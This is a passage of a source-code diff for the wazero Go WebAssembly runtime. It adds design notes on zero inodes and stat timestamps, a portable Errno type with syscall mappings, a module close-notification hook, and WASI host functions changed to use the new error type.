a real one from resolving later via `Stat_t.Ino`.
We define `Ino` like `d_ino` in POSIX which doesn't special-case zero. It can
be zero for a few reasons:
* The file is not a regular file or directory.
* The underlying filesystem does not support inodes. e.g. embed:fs
* A directory doesn't include inodes, but a later stat can. e.g. Windows
* The backend is based on wasi-filesystem (a.k.a wasip2), which has
`directory_entry.inode` optional, and might remove it entirely.
There are other downsides to returning a zero inode in widely used compilers:
* File equivalence utilities, like `os.SameFile` will not work.
* wasi-libc's `wasip1` mode will call `lstat` and attempt to retrieve a
non-zero value (unless the entry is named "..").
A new compiler may accidentally skip a `Dirent` with a zero `Ino` if emulating
a non-POSIX function and re-using `Dirent.Ino` for `d_fileno`.
* Linux `getdents` doesn't define `d_fileno` must be non-zero
* BSD `getdirentries` is implementation specific. For example, OpenBSD will
return dirents with a zero `d_fileno`, but Darwin will skip them.
The above shouldn't be a problem, even in the case of BSD, because `wasip1` is
defined more in terms of `getdents` than `getdirentries`. The bottom half of
either should treat `wasip1` (or any similar ABI such as wasix or wasip2) as a
different operating system and either use different logic that doesn't skip, or
synthesize a fake non-zero `d_fileno` when `d_ino` is zero.
However, this has been a problem. Go's `syscall.ParseDirent` utility is shared
for all `GOOS=unix`. For simplicity, this abstracts `direntIno` with data from
`d_fileno` or `d_ino`, and drops if either are zero, even if `d_fileno` is the
only field with zero explicitly defined. This led to a change to special case
`GOOS=wasip1` as otherwise virtual files would be unconditionally skipped.
In practice, this problem is rather unique due to so many compilers relying on
wasi-libc, which tolerates a zero inode. For example, while issues were
reported about the performance regression when wasi-libc began doing a fan-out
on zero `Dirent.Ino`, no issues were reported about dirents being dropped as a
result.
In summary, rather than complicating implementation and forcing non-zero inodes
for a rare case, we permit zero. We instead document this topic thoroughly, so
that emerging compilers can re-use the research and reference it on conflict.
We also document that `Ino` should be non-zero, so that users implementing that
field will attempt to get it.
See
* https://github.com/WebAssembly/wasi-filesystem/pull/81
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
* https://linux.die.net/man/3/getdents
* https://www.unix.com/man-page/osx/2/getdirentries/
* https://man.openbsd.org/OpenBSD-5.4/getdirentries.2
* https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102
* https://go-review.googlesource.com/c/go/+/507915
## sys.Walltime and Nanotime
@@ -907,6 +1171,68 @@ See https://github.com/WebAssembly/stack-switching/discussions/38
See https://github.com/WebAssembly/wasi-threads#what-can-be-skipped
See https://slinkydeveloper.com/Kubernetes-controllers-A-New-Hope/
## sys.Stat_t
We expose `stat` information as `sys.Stat_t`, like `syscall.Stat_t` except
defined without build constraints. For example, you can use `sys.Stat_t` on
`GOOS=windows` which doesn't define `syscall.Stat_t`.
The first use case of this is to return inodes from `fs.FileInfo` without
relying on platform-specifics. For example, a user could return `*sys.Stat_t`
from `info.Sys()` and define a non-zero inode for a virtual file, or map a
real inode to a virtual one.
Notable choices per field are listed below, where `sys.Stat_t` is unlike
`syscall.Stat_t` on `GOOS=linux`, or needs clarification. One common issue
not repeated below is that numeric fields are 64-bit when at least one platform
defines it that large. Also, zero values are equivalent to nil or absent.
* `Dev` and `Ino` (`Inode`) are both defined unsigned as they are defined
opaque, and most `syscall.Stat_t` also defined them unsigned. There are
separate sections in this document discussing the impact of zero in `Ino`.
* `Mode` is defined as a `fs.FileMode` even though that is not defined in POSIX
and will not map to all possible values. This is because the current use is
WASI, which doesn't define any types or features not already supported. By
using `fs.FileMode`, we can re-use routine experience in Go.
* `NLink` is unsigned because it is defined that way in `syscall.Stat_t`: there
can never be less than zero links to a file. We suggest defaulting to 1 in
conversions when information is not knowable because at least that many links
exist.
* `Size` is signed because it is defined that way in `syscall.Stat_t`: while
regular files and directories will always be non-negative, irregular files
are possibly negative or not defined. Notably sparse files are known to
return negative values.
* `Atim`, `Mtim` and `Ctim` are signed because they are defined that way in
`syscall.Stat_t`: Negative values are time before 1970. The resolution is
nanosecond because that's the maximum resolution currently supported in Go.
### Why do we use `sys.EpochNanos` instead of `time.Time` or similar?
To simplify documentation, we defined a type alias `sys.EpochNanos` for int64.
`time.Time` is a data structure, and we could have used this for
`syscall.Stat_t` time values. The most important reason we do not is conversion
penalty deriving time from common types.
The most common ABI used in `wasip2`. This, and compatible ABI such as `wasix`,
encode timestamps in memory as a 64-bit number. If we used `time.Time`, we
would have to convert an underlying type like `syscall.Timespec` to `time.Time`
only to later have to call `.UnixNano()` to convert it back to a 64-bit number.
In the future, the component model module "wasi-filesystem" may represent stat
timestamps with a type shared with "wasi-clocks", abstractly structured similar
to `time.Time`. However, component model intentionally does not define an ABI.
It is likely that the canonical ABI for timestamp will be in two parts, but it
is not required for it to be intermediately represented this way. A utility
like `syscall.NsecToTimespec` could split an int64 so that it could be written
to memory as 96 bytes (int64, int32), without allocating a struct.
Finally, some may confuse epoch nanoseconds with 32-bit epoch seconds. While
32-bit epoch seconds has "The year 2038" problem, epoch nanoseconds has
"The Year 2262" problem, which is even less concerning for this library. If
the Go programming language and wazero exist in the 2200's, we can make a major
version increment to adjust the `sys.EpochNanos` approach. Meanwhile, we have
faster code.
## poll_oneoff
`poll_oneoff` is a WASI API for waiting for I/O events on multiple handles.
@@ -947,7 +1273,7 @@ However, if the reader is detected to read from `os.Stdin`,
a special code path is followed, invoking `platform.Select()`.
`platform.Select()` is a wrapper for `select(2)` on POSIX systems,
and it is mocked for a handful of cases also on Windows.
and it is emulated on Windows.
### Select on POSIX
@@ -977,25 +1303,35 @@ unless data becomes available on `Stdin` itself.
### Select on Windows
On Windows the `platform.Select()` is much more straightforward,
and it really just replicates the behavior found in the general cases
for `FdRead` subscriptions: in other words, the subscription to `Stdin`
is immediately acknowledged.
On Windows `platform.Select()` cannot be delegated to a single
syscall, because there is no single syscall to handle sockets,
pipes and regular files.
The implementation also support a timeout, but in this case
it relies on `time.Sleep()`, which notably, as compared to the POSIX
case, interruptible and compatible with goroutines.
Instead, we emulate its behavior for the cases that are currently
of interest.
However, because `Stdin` subscriptions are always acknowledged
without wait and because this code path is always followed only
when at least one `Stdin` subscription is present, then the
timeout is effectively always handled externally.
- For regular files, we _always_ report them as ready, as
[most operating systems do anyway][async-io-windows].
In any case, the behavior of `platform.Select` on Windows
is sensibly different from the behavior on POSIX platforms;
we plan to refine and further align it in semantics in the future.
- For pipes, we iterate on the given `readfds`
and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore
`writefds` and `exceptfds` for pipes. In particular,
`Stdin`, when present, is set to the `readfds` FdSet.
- Notably, we include also support for sockets using the [WinSock
implementation of `select`][winsock-select], but instead
of relying on the timeout argument of the `select` function,
we set a 0-duration timeout so that it behaves like a peek.
This way, we can check for regular files all at once,
at the beginning of the function, then we poll pipes and
sockets periodically using a cancellable `time.Tick`,
which plays nicely with the rest of the Go runtime.
[poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff
[async-io-windows]: https://tinyclouds.org/iocp_links
[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select
## Signed encoding of integer global constant initializers
+19
View File
@@ -150,6 +150,10 @@ type Module interface {
Memory() Memory
// ExportedFunction returns a function exported from this module or nil if it wasn't.
//
// Note: The default wazero.ModuleConfig attempts to invoke `_start`, which
// in rare cases can close the module. When in doubt, check IsClosed prior
// to invoking a function export after instantiation.
ExportedFunction(name string) Function
// ExportedFunctionDefinitions returns all the exported function
@@ -190,6 +194,21 @@ type Module interface {
// Closer closes this module by delegating to CloseWithExitCode with an exit code of zero.
Closer
// IsClosed returns true if the module is closed, so no longer usable.
//
// This can happen for the following reasons:
// - Closer was called directly.
// - A guest function called Closer indirectly, such as `_start` calling
// `proc_exit`, which internally closed the module.
// - wazero.RuntimeConfig `WithCloseOnContextDone` was enabled and a
// context completion closed the module.
//
// Where any of the above are possible, check this value before calling an
// ExportedFunction, even if you didn't formerly receive a sys.ExitError.
// sys.ExitError is only returned on non-zero code, something that closes
// the module successfully will not result it one.
IsClosed() bool
internalapi.WazeroOnly
}
+15 -9
View File
@@ -490,12 +490,19 @@ type ModuleConfig interface {
// WithStartFunctions configures the functions to call after the module is
// instantiated. Defaults to "_start".
//
// Clearing the default is supported, via `WithStartFunctions()`.
//
// # Notes
//
// - If any function doesn't exist, it is skipped. However, all functions
// that do exist are called in order.
// - Some start functions may exit the module during instantiate with a
// sys.ExitError (e.g. emscripten), preventing use of exported functions.
// - If a start function doesn't exist, it is skipped. However, any that
// do exist are called in order.
// - Start functions are not intended to be called multiple times.
// Functions that should be called multiple times should be invoked
// manually via api.Module's `ExportedFunction` method.
// - Start functions commonly exit the module during instantiation,
// preventing use of any functions later. This is the case in "wasip1",
// which defines the default value "_start".
// - See /RATIONALE.md for motivation of this feature.
WithStartFunctions(...string) ModuleConfig
// WithStderr configures where standard error (file descriptor 2) is written. Defaults to io.Discard.
@@ -839,11 +846,10 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
environ = append(environ, result)
}
var fs fsapi.FS
var fs []fsapi.FS
var guestPaths []string
if f, ok := c.fsConfig.(*fsConfig); ok {
if fs, err = f.toFS(); err != nil {
return
}
fs, guestPaths = f.preopens()
}
var listeners []*net.TCPListener
@@ -864,7 +870,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
c.walltime, c.walltimeResolution,
c.nanotime, c.nanotimeResolution,
c.nanosleep, c.osyield,
fs,
fs, guestPaths,
listeners,
)
}
+63
View File
@@ -0,0 +1,63 @@
package experimental
import (
"context"
"github.com/tetratelabs/wazero/internal/close"
)
// CloseNotifier is a notification hook, invoked when a module is closed.
//
// Note: This is experimental progress towards #1197, and likely to change. Do
// not expose this in shared libraries as it can cause version locks.
type CloseNotifier interface {
// CloseNotify is a notification that occurs *before* an api.Module is
// closed. `exitCode` is zero on success or in the case there was no exit
// code.
//
// Notes:
// - This does not return an error because the module will be closed
// unconditionally.
// - Do not panic from this function as it doing so could cause resource
// leaks.
// - While this is only called once per module, if configured for
// multiple modules, it will be called for each, e.g. on runtime close.
CloseNotify(ctx context.Context, exitCode uint32)
}
// ^-- Note: This might need to be a part of the listener or become a part of
// host state implementation. For example, if this is used to implement state
// cleanup for host modules, possibly something like below would be better, as
// it could be implemented in a way that allows concurrent module use.
//
// // key is like a context key, stateFactory is invoked per instantiate and
// // is associated with the key (exposed as `Module.State` similar to go
// // context). Using a key is better than the module name because we can
// // de-dupe it for host modules that can be instantiated into different
// // names. Also, you can make the key package private.
// HostModuleBuilder.WithState(key any, stateFactory func() Cleanup)`
//
// Such a design could work to isolate state only needed for wasip1, for
// example the dirent cache. However, if end users use this for different
// things, we may need separate designs.
//
// In summary, the purpose of this iteration is to identify projects that
// would use something like this, and then we can figure out which way it
// should go.
// CloseNotifyFunc is a convenience for defining inlining a CloseNotifier.
type CloseNotifyFunc func(ctx context.Context, exitCode uint32)
// CloseNotify implements CloseNotifier.CloseNotify.
func (f CloseNotifyFunc) CloseNotify(ctx context.Context, exitCode uint32) {
f(ctx, exitCode)
}
// WithCloseNotifier registers the given CloseNotifier into the given
// context.Context.
func WithCloseNotifier(ctx context.Context, notifier CloseNotifier) context.Context {
if notifier != nil {
return context.WithValue(ctx, close.NotifierKey{}, notifier)
}
return ctx
}
+95
View File
@@ -0,0 +1,95 @@
package sys
import "strconv"
// Errno is a subset of POSIX errno used by wazero interfaces. Zero is not an
// error. Other values should not be interpreted numerically, rather by constants
// prefixed with 'E'.
//
// See https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/errno.h.html
type Errno uint16
// ^-- Note: This will eventually move to the public /sys package. It is
// experimental until we audit the socket related APIs to ensure we have all
// the Errno it returns, and we export fs.FS. This is not in /internal/sys as
// that would introduce a package cycle.
// This is a subset of errors to reduce implementation burden. `wasip1` defines
// almost all POSIX error numbers, but not all are used in practice. wazero
// will add ones needed in POSIX order, as needed by functions that explicitly
// document returning them.
//
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-errno-enumu16
const (
EACCES Errno = iota + 1
EAGAIN
EBADF
EEXIST
EFAULT
EINTR
EINVAL
EIO
EISDIR
ELOOP
ENAMETOOLONG
ENOENT
ENOSYS
ENOTDIR
ENOTEMPTY
ENOTSOCK
ENOTSUP
EPERM
EROFS
// NOTE ENOTCAPABLE is defined in wasip1, but not in POSIX. wasi-libc
// converts it to EBADF, ESPIPE or EINVAL depending on the call site.
// It isn't known if compilers who don't use ENOTCAPABLE would crash on it.
)
// Error implements error
func (e Errno) Error() string {
switch e {
case 0: // not an error
return "success"
case EACCES:
return "permission denied"
case EAGAIN:
return "resource unavailable, try again"
case EBADF:
return "bad file descriptor"
case EEXIST:
return "file exists"
case EFAULT:
return "bad address"
case EINTR:
return "interrupted function"
case EINVAL:
return "invalid argument"
case EIO:
return "input/output error"
case EISDIR:
return "is a directory"
case ELOOP:
return "too many levels of symbolic links"
case ENAMETOOLONG:
return "filename too long"
case ENOENT:
return "no such file or directory"
case ENOSYS:
return "functionality not supported"
case ENOTDIR:
return "not a directory or a symbolic link to a directory"
case ENOTEMPTY:
return "directory not empty"
case ENOTSOCK:
return "not a socket"
case ENOTSUP:
return "not supported (may be the same value as [EOPNOTSUPP])"
case EPERM:
return "operation not permitted"
case EROFS:
return "read-only file system"
default:
return "Errno(" + strconv.Itoa(int(e)) + ")"
}
}
@@ -1,39 +1,32 @@
package platform
package sys
import (
"io"
"io/fs"
"os"
"syscall"
)
// UnwrapOSError returns a syscall.Errno or zero if the input is nil.
func UnwrapOSError(err error) syscall.Errno {
// UnwrapOSError returns an Errno or zero if the input is nil.
func UnwrapOSError(err error) Errno {
if err == nil {
return 0
}
err = underlyingError(err)
if se, ok := err.(syscall.Errno); ok {
return adjustErrno(se)
}
// Below are all the fs.ErrXXX in fs.go.
//
// Note: Once we have our own file type, we should never see these.
switch err {
case nil, io.EOF:
return 0 // EOF is not a syscall.Errno
return 0 // EOF is not a Errno
case fs.ErrInvalid:
return syscall.EINVAL
return EINVAL
case fs.ErrPermission:
return syscall.EPERM
return EPERM
case fs.ErrExist:
return syscall.EEXIST
return EEXIST
case fs.ErrNotExist:
return syscall.ENOENT
return ENOENT
case fs.ErrClosed:
return syscall.EBADF
return EBADF
}
return syscall.EIO
return errorToErrno(err)
}
// underlyingError returns the underlying error if a well-known OS error type.
+98
View File
@@ -0,0 +1,98 @@
package sys
import "syscall"
func syscallToErrno(errno syscall.Errno) Errno {
switch errno {
case 0:
return 0
case syscall.EACCES:
return EACCES
case syscall.EAGAIN:
return EAGAIN
case syscall.EBADF:
return EBADF
case syscall.EEXIST:
return EEXIST
case syscall.EFAULT:
return EFAULT
case syscall.EINTR:
return EINTR
case syscall.EINVAL:
return EINVAL
case syscall.EIO:
return EIO
case syscall.EISDIR:
return EISDIR
case syscall.ELOOP:
return ELOOP
case syscall.ENAMETOOLONG:
return ENAMETOOLONG
case syscall.ENOENT:
return ENOENT
case syscall.ENOSYS:
return ENOSYS
case syscall.ENOTDIR:
return ENOTDIR
case syscall.ENOTEMPTY:
return ENOTEMPTY
case syscall.ENOTSOCK:
return ENOTSOCK
case syscall.ENOTSUP:
return ENOTSUP
case syscall.EPERM:
return EPERM
case syscall.EROFS:
return EROFS
default:
return EIO
}
}
// Unwrap is a convenience for runtime.GOOS which define syscall.Errno.
func (e Errno) Unwrap() error {
switch e {
case 0:
return nil
case EACCES:
return syscall.EACCES
case EAGAIN:
return syscall.EAGAIN
case EBADF:
return syscall.EBADF
case EEXIST:
return syscall.EEXIST
case EFAULT:
return syscall.EFAULT
case EINTR:
return syscall.EINTR
case EINVAL:
return syscall.EINVAL
case EIO:
return syscall.EIO
case EISDIR:
return syscall.EISDIR
case ELOOP:
return syscall.ELOOP
case ENAMETOOLONG:
return syscall.ENAMETOOLONG
case ENOENT:
return syscall.ENOENT
case ENOSYS:
return syscall.ENOSYS
case ENOTDIR:
return syscall.ENOTDIR
case ENOTEMPTY:
return syscall.ENOTEMPTY
case ENOTSOCK:
return syscall.ENOTSOCK
case ENOTSUP:
return syscall.ENOTSUP
case EPERM:
return syscall.EPERM
case EROFS:
return syscall.EROFS
default:
return syscall.EIO
}
}
@@ -0,0 +1,16 @@
//go:build !windows
package sys
import "syscall"
func errorToErrno(err error) Errno {
switch err := err.(type) {
case Errno:
return err
case syscall.Errno:
return syscallToErrno(err)
default:
return EIO
}
}
@@ -0,0 +1,61 @@
package sys
import "syscall"
// These are errors not defined in the syscall package. They are prefixed with
// underscore to avoid exporting them.
//
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
const (
// _ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write
// instead of syscall.EBADF
_ERROR_INVALID_HANDLE = syscall.Errno(6)
// _ERROR_INVALID_NAME is a Windows error returned by open when a file
// path has a trailing slash
_ERROR_INVALID_NAME = syscall.Errno(0x7B)
// _ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate
// instead of syscall.EINVAL
_ERROR_NEGATIVE_SEEK = syscall.Errno(0x83)
// _ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir
// instead of syscall.ENOTDIR
_ERROR_DIRECTORY = syscall.Errno(0x10B)
// _ERROR_INVALID_SOCKET is a Windows error returned by winsock_select
// when a given handle is not a socket.
_ERROR_INVALID_SOCKET = syscall.Errno(0x2736)
)
func errorToErrno(err error) Errno {
switch err := err.(type) {
case Errno:
return err
case syscall.Errno:
// Note: In windows, _ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR
switch err {
case syscall.ERROR_ALREADY_EXISTS:
return EEXIST
case _ERROR_DIRECTORY:
return ENOTDIR
case syscall.ERROR_DIR_NOT_EMPTY:
return ENOTEMPTY
case syscall.ERROR_FILE_EXISTS:
return EEXIST
case _ERROR_INVALID_HANDLE, _ERROR_INVALID_SOCKET:
return EBADF
case syscall.ERROR_ACCESS_DENIED:
// POSIX read and write functions expect EBADF, not EACCES when not
// open for reading or writing.
return EBADF
case syscall.ERROR_PRIVILEGE_NOT_HELD:
return EPERM
case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME:
return EINVAL
}
return syscallToErrno(err)
default:
return EIO
}
}
+30 -5
View File
@@ -4,6 +4,7 @@ import (
"io/fs"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/sys"
"github.com/tetratelabs/wazero/internal/sysfs"
)
@@ -30,8 +31,7 @@ import (
//
// More notes on `guestPath`
// - Go compiled with runtime.GOOS=js do not pay attention to this value.
// Hence, you need to normalize the filesystem with NewRootFS to ensure
// paths requested resolve as expected.
// It only works with root mounts ("").
// - Working directories are typically tracked in wasm, though possible some
// relative paths are requested. For example, TinyGo may attempt to resolve
// a path "../.." in unit tests.
@@ -118,6 +118,18 @@ type FSConfig interface {
// advise using WithDirMount instead. There will be behavior differences
// between os.DirFS and WithDirMount, as the latter biases towards what's
// expected from WASI implementations.
//
// # Custom fs.FileInfo
//
// The underlying implementation supports data not usually in fs.FileInfo
// when `info.Sys` returns *sys.Stat_t. For example, a custom fs.FS can use
// this approach to generate or mask sys.Inode data. Such a filesystem
// needs to decorate any functions that can return fs.FileInfo:
//
// - `Stat` as defined on `fs.File` (always)
// - `Readdir` as defined on `os.File` (if defined)
//
// See sys.NewStat_t for examples.
WithFSMount(fs fs.FS, guestPath string) FSConfig
}
@@ -167,7 +179,10 @@ func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig {
}
func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
cleaned := sysfs.StripPrefixesAndTrailingSlash(guestPath)
if _, ok := fs.(fsapi.UnimplementedFS); ok {
return c // don't add fake paths.
}
cleaned := sys.StripPrefixesAndTrailingSlash(guestPath)
ret := c.clone()
if i, ok := ret.guestPathToFS[cleaned]; ok {
ret.fs[i] = fs
@@ -180,6 +195,16 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
return ret
}
func (c *fsConfig) toFS() (fsapi.FS, error) {
return sysfs.NewRootFS(c.fs, c.guestPaths)
// preopens returns the possible nil index-correlated preopened filesystems
// with guest paths.
func (c *fsConfig) preopens() ([]fsapi.FS, []string) {
preopenCount := len(c.fs)
if preopenCount == 0 {
return nil, nil
}
fs := make([]fsapi.FS, len(c.fs))
copy(fs, c.fs)
guestPaths := make([]string, len(c.guestPaths))
copy(guestPaths, c.guestPaths)
return fs, guestPaths
}
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
import (
"context"
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -23,7 +23,7 @@ import (
// Result (Errno)
//
// The return value is ErrnoSuccess except the following error conditions:
// - syscall.EFAULT: there is not enough memory to write results
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if argsSizesGet wrote argc=2 and argvLen=5 for arguments:
// "a" and "bc" parameters argv=7 and argvBuf=1, this function writes the below
@@ -43,7 +43,7 @@ import (
// See https://en.wikipedia.org/wiki/Null-terminated_string
var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []api.ValueType{i32, i32}, "argv", "argv_buf")
func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
argv, argvBuf := uint32(params[0]), uint32(params[1])
return writeOffsetsAndNullTerminatedValues(mod.Memory(), sysCtx.Args(), argv, argvBuf, sysCtx.ArgsSize())
@@ -61,7 +61,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
// Result (Errno)
//
// The return value is ErrnoSuccess except the following error conditions:
// - syscall.EFAULT: there is not enough memory to write results
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if args are "a", "bc" and parameters resultArgc=1 and
// resultArgvLen=6, this function writes the below to api.Memory:
@@ -80,7 +80,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
// See https://en.wikipedia.org/wiki/Null-terminated_string
var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []api.ValueType{i32, i32}, "result.argc", "result.argv_len")
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
mem := mod.Memory()
resultArgc, resultArgvLen := uint32(params[0]), uint32(params[1])
@@ -88,10 +88,10 @@ func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
// argc and argv_len offsets are not necessarily sequential, so we have to
// write them independently.
if !mem.WriteUint32Le(resultArgc, uint32(len(sysCtx.Args()))) {
return syscall.EFAULT
return sys.EFAULT
}
if !mem.WriteUint32Le(resultArgvLen, sysCtx.ArgsSize()) {
return syscall.EFAULT
return sys.EFAULT
}
return 0
}
+13 -13
View File
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
import (
"context"
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -21,9 +21,9 @@ import (
// Result (Errno)
//
// The return value is 0 except the following error conditions:
// - syscall.ENOTSUP: the clock ID is not supported.
// - syscall.EINVAL: the clock ID is invalid.
// - syscall.EFAULT: there is not enough memory to write results
// - sys.ENOTSUP: the clock ID is not supported.
// - sys.EINVAL: the clock ID is invalid.
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if the resolution is 100ns, this function writes the below to
// api.Memory:
@@ -39,7 +39,7 @@ import (
// See https://linux.die.net/man/3/clock_getres
var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []api.ValueType{i32, i32}, "id", "result.resolution")
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
id, resultResolution := uint32(params[0]), uint32(params[1])
@@ -50,11 +50,11 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
case wasip1.ClockIDMonotonic:
resolution = uint64(sysCtx.NanotimeResolution())
default:
return syscall.EINVAL
return sys.EINVAL
}
if !mod.Memory().WriteUint64Le(resultResolution, resolution) {
return syscall.EFAULT
return sys.EFAULT
}
return 0
}
@@ -73,9 +73,9 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
// Result (Errno)
//
// The return value is 0 except the following error conditions:
// - syscall.ENOTSUP: the clock ID is not supported.
// - syscall.EINVAL: the clock ID is invalid.
// - syscall.EFAULT: there is not enough memory to write results
// - sys.ENOTSUP: the clock ID is not supported.
// - sys.EINVAL: the clock ID is invalid.
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if time.Now returned exactly midnight UTC 2022-01-01
// (1640995200000000000), and parameters resultTimestamp=1, this function
@@ -92,7 +92,7 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
// See https://linux.die.net/man/3/clock_gettime
var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []api.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp")
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
id := uint32(params[0])
// TODO: precision is currently ignored.
@@ -106,11 +106,11 @@ func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
case wasip1.ClockIDMonotonic:
val = sysCtx.Nanotime()
default:
return syscall.EINVAL
return sys.EINVAL
}
if !mod.Memory().WriteUint64Le(resultTimestamp, uint64(val)) {
return syscall.EFAULT
return sys.EFAULT
}
return 0
}
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
import (
"context"
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -24,7 +24,7 @@ import (
// Result (Errno)
//
// The return value is 0 except the following error conditions:
// - syscall.EFAULT: there is not enough memory to write results
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if environSizesGet wrote environc=2 and environLen=9 for
// environment variables: "a=b", "b=cd" and parameters environ=11 and
@@ -43,7 +43,7 @@ import (
// See https://en.wikipedia.org/wiki/Null-terminated_string
var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []api.ValueType{i32, i32}, "environ", "environ_buf")
func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
environ, environBuf := uint32(params[0]), uint32(params[1])
@@ -63,7 +63,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
// Result (Errno)
//
// The return value is 0 except the following error conditions:
// - syscall.EFAULT: there is not enough memory to write results
// - sys.EFAULT: there is not enough memory to write results
//
// For example, if environ are "a=b","b=cd" and parameters resultEnvironc=1 and
// resultEnvironvLen=6, this function writes the below to api.Memory:
@@ -83,7 +83,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
// and https://en.wikipedia.org/wiki/Null-terminated_string
var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []api.ValueType{i32, i32}, "result.environc", "result.environv_len")
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
mem := mod.Memory()
resultEnvironc, resultEnvironvLen := uint32(params[0]), uint32(params[1])
@@ -91,10 +91,10 @@ func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sysca
// environc and environv_len offsets are not necessarily sequential, so we
// have to write them independently.
if !mem.WriteUint32Le(resultEnvironc, uint32(len(sysCtx.Environ()))) {
return syscall.EFAULT
return sys.EFAULT
}
if !mem.WriteUint32Le(resultEnvironvLen, sysCtx.EnvironSize()) {
return syscall.EFAULT
return sys.EFAULT
}
return 0
}
File diff suppressed because it is too large. Load diff
+39 -48
View File
@@ -2,10 +2,10 @@ package wasi_snapshot_preview1
import (
"context"
"syscall"
"time"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
internalsys "github.com/tetratelabs/wazero/internal/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
@@ -18,15 +18,15 @@ import (
//
// - in: pointer to the subscriptions (48 bytes each)
// - out: pointer to the resulting events (32 bytes each)
// - nsubscriptions: count of subscriptions, zero returns syscall.EINVAL.
// - nsubscriptions: count of subscriptions, zero returns sys.EINVAL.
// - resultNevents: count of events.
//
// Result (Errno)
//
// The return value is 0 except the following error conditions:
// - syscall.EINVAL: the parameters are invalid
// - syscall.ENOTSUP: a parameters is valid, but not yet supported.
// - syscall.EFAULT: there is not enough memory to read the subscriptions or
// - sys.EINVAL: the parameters are invalid
// - sys.ENOTSUP: a parameters is valid, but not yet supported.
// - sys.EFAULT: there is not enough memory to read the subscriptions or
// write results.
//
// # Notes
@@ -49,14 +49,14 @@ type event struct {
